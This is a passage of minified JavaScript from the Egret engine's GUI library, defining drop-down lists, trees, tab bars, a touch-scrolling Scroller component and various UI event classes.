his._userProposedSelectedIndex=this.selectedIndex;this.invalidateSkinState()};e.prototype._open_updateCompleteHandler=function(f){this.removeEventListener(d.UIEvent.UPDATE_COMPLETE,this._open_updateCompleteHandler,this);d.UIEvent.dispatchUIEvent(this,d.UIEvent.OPEN)};e.prototype.dropDownController_closeHandler=function(f){this.addEventListener(d.UIEvent.UPDATE_COMPLETE,this.close_updateCompleteHandler,this);this.invalidateSkinState();f.isDefaultPrevented()?this._changeHighlightedSelection(this.selectedIndex):this._setSelectedIndex(this._userProposedSelectedIndex,!0)};e.prototype.close_updateCompleteHandler=function(f){this.removeEventListener(d.UIEvent.UPDATE_COMPLETE,this.close_updateCompleteHandler,this);d.UIEvent.dispatchUIEvent(this,d.UIEvent.CLOSE)};e.PAGE_SIZE=5;return e}(d.List);d.DropDownListBase=b;b.prototype.__class__="egret.gui.DropDownListBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.iconFieldOrFunctionChanged=!1;this.hostComponentKey="egret.gui.Tree"}__extends(e,c);e.prototype.createChildren=function(){this.itemRenderer||(this.itemRenderer=e.defaultTreeRendererFactory);c.prototype.createChildren.call(this)};e.prototype.updateRenderer=function(g,j,i){if("hasChildren" in g&&"hasChildren" in this.dataProvider){var h=this.dataProvider;g.hasChildren=h.hasChildren(i);g.opened=h.isItemOpen(i);g.depth=h.getDepth(i);g.iconSkinName=this.itemToIcon(i)}return c.prototype.updateRenderer.call(this,g,j,i)};e.prototype.itemToIcon=function(g){if(!g){return null}if(null!=this._iconFunction){return this._iconFunction(g)}var f;if(g instanceof Object){try{g[this.iconField]&&(f=g[this.iconField])}catch(h){}}return f};e.prototype.dataGroup_rendererAddHandler=function(f){c.prototype.dataGroup_rendererAddHandler.call(this,f);f.renderer&&"hasChildren" in f.renderer&&f.renderer.addEventListener(d.TreeEvent.ITEM_OPENING,this.onItemOpening,this)};e.prototype.onItemOpening=function(h){var g=h.itemRenderer,j=h.item,i=this._getDataProvider();g&&i&&"hasChildren" in i&&this.dispatchEvent(h)&&(h=!g.opened,i.expandItem(j,h),d.TreeEvent.dispatchTreeEvent(this,h?d.TreeEvent.ITEM_OPEN:d.TreeEvent.ITEM_CLOSE,g.itemIndex,j,g))};e.prototype.dataGroup_rendererRemoveHandler=function(f){c.prototype.dataGroup_rendererRemoveHandler.call(this,f);f.renderer&&"hasChildren" in f.renderer&&f.renderer.removeEventListener(d.TreeEvent.ITEM_OPENING,this.onItemOpening,this)};Object.defineProperty(e.prototype,"iconField",{get:function(){return this._iconField},set:function(f){this._iconField!=f&&(this._iconField=f,this.iconFieldOrFunctionChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"iconFunction",{get:function(){return this._iconFunction},set:function(f){this._iconFunction!=f&&(this._iconFunction=f,this.iconFieldOrFunctionChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});e.prototype.expandItem=function(g,f){"undefined"===typeof f&&(f=!0);var h=this._getDataProvider();h&&"hasChildren" in h&&h.expandItem(g,f)};e.prototype.isItemOpen=function(g){var f=this._getDataProvider();return f&&"hasChildren" in f?f.isItemOpen(g):!1};e.prototype.dataProvider_collectionChangeHandler=function(f){c.prototype.dataProvider_collectionChangeHandler.call(this,f);if(f.kind==d.CollectionEventKind.OPEN||f.kind==d.CollectionEventKind.CLOSE){var g=this.dataGroup?this.dataGroup.getElementAt(f.location):null;g&&(this.updateRenderer(g,f.location,f.items[0]),f.kind==d.CollectionEventKind.CLOSE&&this.layout&&this.layout.useVirtualLayout&&(this.layout.clearVirtualLayoutCache(),this.invalidateSize()))}};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);if(this.iconFieldOrFunctionChanged){if(null!=this.dataGroup){var g;if(this.layout&&this.layout.useVirtualLayout){for(var j=this.dataGroup.getElementIndicesInView(),i=j.length,h=0;h<i;h++){g=j[h],this.updateRendererIconProperty(g)}}else{for(j=this.dataGroup.numElements,g=0;g<j;g++){this.updateRendererIconProperty(g)}}}this.iconFieldOrFunctionChanged=!1}};e.prototype.updateRendererIconProperty=function(f){if(f=this.dataGroup.getElementAt(f)){f.iconSkinName=this.itemToIcon(f.data)}};e.defaultTreeRendererFactory=new d.ClassFactory(d.TreeItemRenderer);return e}(d.List);d.Tree=b;b.prototype.__class__="egret.gui.Tree"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._prompt="";this.hostComponentKey="egret.gui.DropDownList"}__extends(e,c);Object.defineProperty(e.prototype,"prompt",{get:function(){return this._prompt},set:function(f){this._prompt!=f&&(this._prompt=f,this._labelChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});e.prototype.partAdded=function(f,g){c.prototype.partAdded.call(this,f,g);g==this.labelDisplay&&(this._labelChanged=!0,this.invalidateProperties())};e.prototype.updateLabelDisplay=function(f){"undefined"===typeof f&&(f=void 0);this.labelDisplay&&(void 0==f&&(f=this.selectedItem),this.labelDisplay.text=null!=f&&void 0!=f?this.itemToLabel(f):this._prompt)};return e}(d.DropDownListBase);d.DropDownList=b;b.prototype.__class__="egret.gui.DropDownList"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._allowDeselection=!0;this.hostComponentKey="egret.gui.TabBarButton"}__extends(e,c);Object.defineProperty(e.prototype,"allowDeselection",{get:function(){return this._allowDeselection},set:function(f){this._allowDeselection=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"data",{get:function(){return this._data},set:function(f){this._data=f;this.dispatchEventWith("dataChange")},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemIndex",{get:function(){return this._itemIndex},set:function(f){this._itemIndex=f},enumerable:!0,configurable:!0});e.prototype._setLabel=function(f){f!=this._getLabel()&&(c.prototype._setLabel.call(this,f),this.labelDisplay&&(this.labelDisplay.text=this._getLabel()))};e.prototype.buttonReleased=function(){this.selected&&!this.allowDeselection||c.prototype.buttonReleased.call(this)};return e}(d.ToggleButtonBase);d.TabBarButton=b;b.prototype.__class__="egret.gui.TabBarButton"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.TabBar";this.requireSelection=!0}__extends(e,c);e.prototype.c=function(f){f!=this._requireSelection&&(c.prototype._setRequireSelection.call(this,f),this.requireSelectionChanged_tabBar=!0,this.invalidateProperties())};e.prototype._setDataProvider=function(f){this.dataProvider instanceof d.ViewStack&&(this.dataProvider.removeEventListener("IndexChanged",this.onViewStackIndexChange,this),this.removeEventListener(d.IndexChangeEvent.CHANGE,this.onIndexChanged,this));f instanceof d.ViewStack&&(f.addEventListener("IndexChanged",this.onViewStackIndexChange,this),this.addEventListener(d.IndexChangeEvent.CHANGE,this.onIndexChanged,this));c.prototype._setDataProvider.call(this,f)};e.prototype.onIndexChanged=function(f){this.dataProvider._setSelectedIndex(f.newIndex,!1)};e.prototype.onViewStackIndexChange=function(f){this._setSelectedIndex(this.dataProvider.selectedIndex,!1)};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);if(this.requireSelectionChanged_tabBar&&this.dataGroup){this.requireSelectionChanged_tabBar=!1;for(var f=this.dataGroup.numElements,h=0;h<f;h++){var g=this.dataGroup.getElementAt(h);g&&(g.allowDeselection=!this.requireSelection)}}};e.prototype.dataGroup_rendererAddHandler=function(f){c.prototype.dataGroup_rendererAddHandler.call(this,f);if(f=f.renderer){f.addEventListener(a.TouchEvent.TOUCH_TAP,this.item_clickHandler,this),f instanceof d.TabBarButton&&(f.allowDeselection=!this.requireSelection)}};e.prototype.dataGroup_rendererRemoveHandler=function(f){c.prototype.dataGroup_rendererRemoveHandler.call(this,f);(f=f.renderer)&&f.removeEventListener(a.TouchEvent.TOUCH_TAP,this.item_clickHandler,this)};e.prototype.item_clickHandler=function(g){var f=g.currentTarget,h;h=f?f.itemIndex:this.dataGroup.getElementIndex(g.currentTarget);h==this.selectedIndex?this.requireSelection||this._setSelectedIndex(d.ListBase.NO_SELECTION,!0):this._setSelectedIndex(h,!0);this._dispatchListEvent(g,d.ListEvent.ITEM_CLICK,f)};return e}(d.ListBase);d.TabBar=b;b.prototype.__class__="egret.gui.TabBar"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._horizontalScrollPolicy=this._verticalScrollPolicy="auto";this.ignoreTouchBegin=!1;this._velocityY=this._velocityX=0;this._previousVelocityX=[];this._previousVelocityY=[]}__extends(e,c);e.prototype.measure=function(){this._viewport&&(this.measuredWidth=this._viewport.preferredWidth,this.measuredHeight=this._viewport.preferredHeight)};e.prototype.updateDisplayList=function(g,f){this._viewport.setLayoutBoundsSize(g,f)};Object.defineProperty(e.prototype,"verticalScrollPolicy",{get:function(){return this._verticalScrollPolicy},set:function(f){this._verticalScrollPolicy=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"horizontalScrollPolicy",{get:function(){return this._horizontalScrollPolicy},set:function(f){this._horizontalScrollPolicy=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"viewport",{get:function(){return this._viewport},set:function(f){f!=this._viewport&&(this.uninstallViewport(),this._viewport=f,this.installViewport(),this.dispatchEventWith("viewportChanged"))},enumerable:!0,configurable:!0});e.prototype.installViewport=function(){this.viewport&&(this.viewport.clipAndEnableScrolling=!0,this.viewport.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.onTouchBegin,this),this.viewport.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.onTouchBeginCapture,this,!0),this.viewport.addEventListener(a.TouchEvent.TOUCH_END,this.onTouchEndCapture,this,!0),this._addToDisplayListAt(this.viewport,0))};e.prototype.uninstallViewport=function(){this.viewport&&(this.viewport.clipAndEnableScrolling=!1,this.viewport.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.onTouchBegin,this),this.viewport.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.onTouchBeginCapture,this,!0),this.viewport.removeEventListener(a.TouchEvent.TOUCH_END,this.onTouchEndCapture,this,!0),this._removeFromDisplayList(this.viewport))};e.prototype.onTouchEndCapture=function(f){this.delayTouchBeginEvent&&(f.stopPropagation(),this.delayTouchEndEvent=this.cloneTouchEvent(f),this.onTouchBeginTimer(),this.touchEndTimer||(this.touchEndTimer=new a.Timer(100,1),this.touchEndTimer.addEventListener(a.TimerEvent.TIMER_COMPLETE,this.onTouchEndTimer,this)),this.touchEndTimer.start())};e.prototype.onTouchEndTimer=function(f){this.touchEndTimer.stop();f=this.delayTouchEndEvent;this.delayTouchEndEvent=null;this.dispatchPropagationEvent(f)};e.prototype.dispatchPropagationEvent=function(h){for(var g=[],k=h._target;k;){g.push(k),k=k.parent}for(var j=this._viewport,i=1;;i+=2){k=g[i];if(!k||k===j){break}g.unshift(k)}k=g.indexOf(h._target);this._dispatchPropagationEvent(h,g,k)};e.prototype.onTouchBeginCapture=function(g){if(this.checkScrollPolicy()){for(var f=g.target;f!=this;){if(f instanceof e&&f.checkScrollPolicy()){return}f=f.parent}this.delayTouchEndEvent&&(this.delayTouchEndEvent=null,this.touchEndTimer.stop());g.stopPropagation();this.delayTouchBeginEvent=this.cloneTouchEvent(g);this.touchBeginTimer||(this.touchBeginTimer=new a.Timer(100,1),this.touchBeginTimer.addEventListener(a.TimerEvent.TIMER_COMPLETE,this.onTouchBeginTimer,this));this.touchBeginTimer.start();this.onTouchBegin(g)}};e.prototype.cloneTouchEvent=function(g){var f=new a.TouchEvent(g._type,g._bubbles,g.cancelable);f.touchPointID=g.touchPointID;f._stageX=g._stageX;f._stageY=g._stageY;f.ctrlKey=g.ctrlKey;f.altKey=g.altKey;f.shiftKey=g.shiftKey;f.touchDown=g.touchDown;f._isDefaultPrevented=!1;f._target=g._target;return f};e.prototype.onTouchBeginTimer=function(f){this.touchBeginTimer.stop();f=this.delayTouchBeginEvent;this.delayTouchBeginEvent=null;this.dispatchPropagationEvent(f)};e.prototype.checkScrollPolicy=function(){var g=this._viewport,f;switch(this._horizontalScrollPolicy){case"auto":f=g.contentWidth>g.width?!0:!1;break;case"on":f=!0;break;case"off":f=!1}this._horizontalCanScroll=f;var h;switch(this._verticalScrollPolicy){case"auto":h=g.contentHeight>g.height?!0:!1;break;case"on":h=!0;break;case"off":h=!1}this._verticalCanScroll=h;return f||h};e.prototype.onTouchBegin=function(h){if(!h.isDefaultPrevented()&&this.checkScrollPolicy()){this.verticalAnimator&&this.verticalAnimator.isPlaying&&this.verticalAnimator.stop();this.horizontalAnimator&&this.horizontalAnimator.isPlaying&&this.horizontalAnimator.stop();var g=this._viewport,i=g.horizontalScrollPosition,g=g.verticalScrollPosition;this._offsetPointX=i+h.stageX;this._offsetPointY=g+h.stageY;this._velocityY=this._velocityX=0;this._previousVelocityX.length=0;this._previousVelocityY.length=0;this._previousTouchTime=a.getTimer();this._previousTouchX=this._startTouchX=this._currentTouchX=h.stageX;this._previousTouchY=this._startTouchY=this._currentTouchY=h.stageY;this._startHorizontalScrollPosition=i;this._startVerticalScrollPosition=g;d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_MOVE,this.onTouchMove,this);d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.onTouchEnd,this);d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.onTouchEnd,this);this.addEventListener(a.Event.ENTER_FRAME,this.enterFrameHandler,this);h.preventDefault()}};e.prototype.onTouchMove=function(g){if(this._currentTouchX!=g.stageX||this._currentTouchY!=g.stageY){this._currentTouchX=g.stageX;this._currentTouchY=g.stageY;this.delayTouchBeginEvent&&(this.delayTouchBeginEvent=null,this.touchBeginTimer.stop());var f=this._viewport;if(this._horizontalCanScroll){var h=this._offsetPointX-g.stageX;0>h&&(h*=0.5);h>f.contentWidth-f.width&&(h=0.5*(h+f.contentWidth-f.width));f.horizontalScrollPosition=h}this._verticalCanScroll&&(g=this._offsetPointY-g.stageY,0>g&&(g*=0.5),g>f.contentHeight-f.height&&(g=0.5*(g+f.contentHeight-f.height)),f.verticalScrollPosition=g)}};e.prototype.onTouchEnd=function(f){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_MOVE,this.onTouchMove,this);d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.onTouchEnd,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.onTouchEnd,this);this.removeEventListener(a.Event.ENTER_FRAME,this.enterFrameHandler,this);this._horizontalCanScroll&&this.checkHorizontalScrollPosition();this._verticalCanScroll&&this.checkVerticalScrollPosition()};e.easeOut=function(f){f-=1;return f*f*f+1};e.prototype.enterFrameHandler=function(g){g=a.getTimer();var f=g-this._previousTouchTime;0<f&&(this._previousVelocityX[this._previousVelocityX.length]=this._velocityX,4<this._previousVelocityX.length&&this._previousVelocityX.shift(),this._previousVelocityY[this._previousVelocityY.length]=this._velocityY,4<this._previousVelocityY.length&&this._previousVelocityY.shift(),this._velocityX=(this._currentTouchX-this._previousTouchX)/f,this._velocityY=(this._currentTouchY-this._previousTouchY)/f,this._previousTouchTime=g,this._previousTouchX=this._currentTouchX,this._previousTouchY=this._currentTouchY);g=Math.abs(this._currentTouchX-this._startTouchX);f=Math.abs(this._currentTouchY-this._startTouchY);this._horizontalCanScroll&&0.04<=g&&(this._startTouchX=this._currentTouchX,this._startHorizontalScrollPosition=this._viewport.horizontalScrollPosition);this._verticalCanScroll&&0.04<=f&&(this._startTouchY=this._currentTouchY,this._startVerticalScrollPosition=this._viewport.verticalScrollPosition)};e.prototype.checkHorizontalScrollPosition=function(){for(var n=this._viewport,h=n.horizontalScrollPosition,n=n.contentWidth-n.width,n=Math.max(0,n),o=2.33*this._velocityX,m=this._previousVelocityX.length,l=2.33,j=0;j<m;j++){var i=e.VELOCITY_WEIGHTS[j],o=o+this._previousVelocityX.shift()*i,l=l+i}o/=l;0.02>=Math.abs(o)?this.finishScrollingHorizontally():(h=this.getAnimationDatas(o,h,n),this.throwHorizontally(h[0],h[1]))};e.prototype.checkVerticalScrollPosition=function(){for(var n=this._viewport,h=n.verticalScrollPosition,n=n.contentHeight-n.height,o=2.33*this._velocityY,m=this._previousVelocityY.length,l=2.33,j=0;j<m;j++){var i=e.VELOCITY_WEIGHTS[j],o=o+this._previousVelocityY.shift()*i,l=l+i}o/=l;0.02>=Math.abs(o)?this.finishScrollingVertically():(h=this.getAnimationDatas(o,h,n),this.throwVertically(h[0],h[1]))};e.prototype.getAnimationDatas=function(l,h,m){var k=Math.abs(l),j=0,i=h+(l-0.02)/Math.log(0.998);if(0>i||i>m){for(i=h;0.02<Math.abs(l);){i-=l,l=0>i||i>m?0.998*l*0.95:0.998*l,j++}}else{j=Math.log(0.02/k)/Math.log(0.998)}e.animationData||(e.animationData=[0,0]);l=e.animationData;l[0]=i;l[1]=j;return l};e.prototype.finishScrollingHorizontally=function(g){var f=this._viewport;g=f.horizontalScrollPosition;var f=f.contentWidth-f.width,h=g;0>g&&(h=0);g>f&&(h=f);this.throwHorizontally(h,300)};e.prototype.throwHorizontally=function(h,f){"undefined"===typeof f&&(f=500);var g=this._viewport.horizontalScrollPosition;g!=h&&(this.horizontalAnimator||(this.horizontalAnimator=new d.Animation(this.horizontalUpdateHandler,this),this.horizontalAnimator.endFunction=this.finishScrollingHorizontally,this.horizontalAnimator.easerFunction=e.easeOut),this.horizontalAnimator.isPlaying&&this.horizontalAnimator.stop(),this.horizontalAnimator.duration=f,this.horizontalAnimator.motionPaths=[{prop:"hsp",from:g,to:h}],this.horizontalAnimator.play())};e.prototype.horizontalUpdateHandler=function(f){this._viewport.horizontalScrollPosition=f.currentValue.hsp};e.prototype.finishScrollingVertically=function(g){var f=this._viewport;g=f.verticalScrollPosition;var f=f.contentHeight-f.height,f=Math.max(0,f),h=g;0>g&&(h=0);g>f&&(h=f);this.throwVertically(h,300)};e.prototype.throwVertically=function(h,f){"undefined"===typeof f&&(f=500);var g=this._viewport.verticalScrollPosition;g!=h&&(this.verticalAnimator||(this.verticalAnimator=new d.Animation(this.verticalUpdateHandler,this),this.verticalAnimator.endFunction=this.finishScrollingVertically,this.verticalAnimator.easerFunction=e.easeOut),this.verticalAnimator.isPlaying&&this.verticalAnimator.stop(),this.verticalAnimator.duration=f,this.verticalAnimator.motionPaths=[{prop:"vsp",from:g,to:h}],this.verticalAnimator.play())};e.prototype.verticalUpdateHandler=function(f){this._viewport.verticalScrollPosition=f.currentValue.vsp};Object.defineProperty(e.prototype,"numElements",{get:function(){return this.viewport?1:0},enumerable:!0,configurable:!0});e.prototype.throwRangeError=function(f){throw new RangeError('\u7d22\u5f15:"'+f+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4')};e.prototype.getElementAt=function(f){if(this.viewport&&0==f){return this.viewport}this.throwRangeError(f);return null};e.prototype.getElementIndex=function(f){return null!=f&&f==this.viewport?0:-1};e.prototype.containsElement=function(f){return null!=f&&f==this.viewport?!0:!1};e.prototype.throwNotSupportedError=function(){throw Error("\u6b64\u65b9\u6cd5\u5728Scroller\u7ec4\u4ef6\u5185\u4e0d\u53ef\u7528!")};e.prototype.addElement=function(f){this.throwNotSupportedError();return null};e.prototype.addElementAt=function(g,f){this.throwNotSupportedError();return null};e.prototype.removeElement=function(f){this.throwNotSupportedError();return null};e.prototype.removeElementAt=function(f){this.throwNotSupportedError();return null};e.prototype.removeAllElements=function(){this.throwNotSupportedError()};e.prototype.setElementIndex=function(g,f){this.throwNotSupportedError()};e.prototype.swapElements=function(g,f){this.throwNotSupportedError()};e.prototype.swapElementsAt=function(g,f){this.throwNotSupportedError()};e.prototype.addChild=function(f){this.throwNotSupportedError();return null};e.prototype.addChildAt=function(g,f){this.throwNotSupportedError();return null};e.prototype.removeChild=function(f){this.throwNotSupportedError();return null};e.prototype.removeChildAt=function(f){this.throwNotSupportedError();return null};e.prototype.setChildIndex=function(g,f){this.throwNotSupportedError()};e.prototype.swapChildren=function(g,f){this.throwNotSupportedError()};e.prototype.swapChildrenAt=function(g,f){this.throwNotSupportedError()};e.VELOCITY_WEIGHTS=[1,1.33,1.66,2];return e}(d.UIComponent);d.Scroller=b;b.prototype.__class__="egret.gui.Scroller"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(f,h,g){"undefined"===typeof h&&(h=!1);"undefined"===typeof g&&(g=!1);c.call(this,f,h,g)}__extends(e,c);e.dispatchUIEvent=function(f,g){a.Event._dispatchByTarget(e,f,g)};e.INITIALIZE="initialize";e.CREATION_COMPLETE="creationComplete";e.UPDATE_COMPLETE="updateComplete";e.BUTTON_DOWN="buttonDown";e.CHANGE_END="changeEnd";e.CHANGE_START="changeStart";e.CHANGING="changing";e.VALUE_COMMIT="valueCommit";e.SKIN_CHANGED="skinChanged";e.CONTENT_CHANGED="contentChanged";e.OPEN="open";e.CLOSE="close";e.PLAY_COMPLETE="playComplete";return e}(a.Event);d.UIEvent=b;b.prototype.__class__="egret.gui.UIEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(j,r,q,p,n,o,m,i){"undefined"===typeof r&&(r=!1);"undefined"===typeof q&&(q=!1);"undefined"===typeof p&&(p=null);"undefined"===typeof n&&(n=null);"undefined"===typeof o&&(o=null);"undefined"===typeof m&&(m=null);"undefined"===typeof i&&(i=null);c.call(this,j,r,q);this.kind=p;this.property=n;this.oldValue=o;this.newValue=m;this.source=i}__extends(e,c);e.dispatchPropertyChangeEvent=function(i,q,n,o,l,m){"undefined"===typeof q&&(q=null);"undefined"===typeof n&&(n=null);"undefined"===typeof o&&(o=null);"undefined"===typeof l&&(l=null);"undefined"===typeof m&&(m=null);var j=a.Event._getPropertyData(e);j.kind=q;j.property=n;j.oldValue=o;j.newValue=l;j.source=m;a.Event._dispatchByTarget(e,i,e.PROPERTY_CHANGE,j)};e.PROPERTY_CHANGE="propertyChange";return e}(a.Event);d.PropertyChangeEvent=b;b.prototype.__class__="egret.gui.PropertyChangeEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.UPDATE="update";c.DELETE="delete";return c}();d.PropertyChangeEventKind=b;b.prototype.__class__="egret.gui.PropertyChangeEventKind"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=NaN);"undefined"===typeof k&&(k=NaN);"undefined"===typeof j&&(j=!1);"undefined"===typeof i&&(i=!1);c.call(this,g,j,i);this.oldX=l;this.oldY=k}__extends(e,c);e.dispatchMoveEvent=function(g,j,h){"undefined"===typeof j&&(j=NaN);"undefined"===typeof h&&(h=NaN);var i=a.Event._getPropertyData(e);i.oldX=j;i.oldY=h;a.Event._dispatchByTarget(e,g,e.MOVE,i)};e.MOVE="move";return e}(a.Event);d.MoveEvent=b;b.prototype.__class__="egret.gui.MoveEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=NaN);"undefined"===typeof k&&(k=NaN);"undefined"===typeof j&&(j=!1);"undefined"===typeof i&&(i=!1);c.call(this,g,j,i);this.oldWidth=l;this.oldHeight=k}__extends(e,c);e.dispatchResizeEvent=function(g,j,h){"undefined"===typeof j&&(j=NaN);"undefined"===typeof h&&(h=NaN);var i=a.Event._getPropertyData(e);i.oldWidth=j;i.oldHeight=h;a.Event._dispatchByTarget(e,g,e.RESIZE,i)};e.RESIZE="resize";return e}(a.Event);d.ResizeEvent=b;b.prototype.__class__="egret.gui.ResizeEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=!1);"undefined"===typeof k&&(k=!1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=null);c.call(this,g,l,k);this.partName=j;this.instance=i}__extends(e,c);e.dispatchSkinPartEvent=function(g,l,j,k){"undefined"===typeof j&&(j=null);"undefined"===typeof k&&(k=null);var i=a.Event._getPropertyData(e);i.partName=j;i.instance=k;a.Event._dispatchByTarget(e,g,l,i)};e.PART_ADDED="partAdded";e.PART_REMOVED="partRemoved";return e}(a.Event);d.SkinPartEvent=b;b.prototype.__class__="egret.gui.SkinPartEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,j,i,h){"undefined"===typeof j&&(j=!1);"undefined"===typeof i&&(i=!1);"undefined"===typeof h&&(h=-1);c.call(this,g,j,i);this.detail=h}__extends(e,c);e.dispatchCloseEvent=function(g,j,h){"undefined"===typeof h&&(h=-1);var i=a.Event._getPropertyData(e);i.detail=h;a.Event._dispatchByTarget(e,g,j,i)};e.CLOSE="close";return e}(a.Event);d.CloseEvent=b;b.prototype.__class__="egret.gui.CloseEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(j,r,q,p,n,o,m,i){"undefined"===typeof r&&(r=!1);"undefined"===typeof q&&(q=!1);"undefined"===typeof p&&(p=null);"undefined"===typeof n&&(n=-1);"undefined"===typeof o&&(o=-1);"undefined"===typeof m&&(m=null);"undefined"===typeof i&&(i=null);c.call(this,j,r,q);this.kind=p;this.location=n;this.oldLocation=o;this.items=m?m:[];this.oldItems=i?i:[]}__extends(e,c);e.dispatchCollectionEvent=function(i,s,q,r,n,o,m){"undefined"===typeof q&&(q=null);"undefined"===typeof r&&(r=-1);"undefined"===typeof n&&(n=-1);"undefined"===typeof o&&(o=null);"undefined"===typeof m&&(m=null);var j=a.Event._getPropertyData(e);j.kind=q;j.location=r;j.oldLocation=n;j.items=o;j.oldItems=m;a.Event._dispatchByTarget(e,i,s,j)};e.COLLECTION_CHANGE="collectionChange";return e}(a.Event);d.CollectionEvent=b;b.prototype.__class__="egret.gui.CollectionEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.ADD="add";c.MOVE="move";c.REFRESH="refresh";c.REMOVE="remove";c.REPLACE="replace";c.RESET="reset";c.UPDATE="update";c.OPEN="open";c.CLOSE="close";return c}();d.CollectionEventKind=b;b.prototype.__class__="egret.gui.CollectionEventKind"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=!1);"undefined"===typeof k&&(k=!1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=-1);c.call(this,g,l,k);this.element=j;this.index=i}__extends(e,c);e.dispatchElementExistenceEvent=function(g,l,j,k){"undefined"===typeof j&&(j=null);"undefined"===typeof k&&(k=-1);var i=a.Event._getPropertyData(e);i.element=j;i.index=k;a.Event._dispatchByTarget(e,g,l,i)};e.ELEMENT_ADD="elementAdd";e.ELEMENT_REMOVE="elementRemove";return e}(a.Event);d.ElementExistenceEvent=b;b.prototype.__class__="egret.gui.ElementExistenceEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=!1);"undefined"===typeof k&&(k=!1);"undefined"===typeof j&&(j=-1);"undefined"===typeof 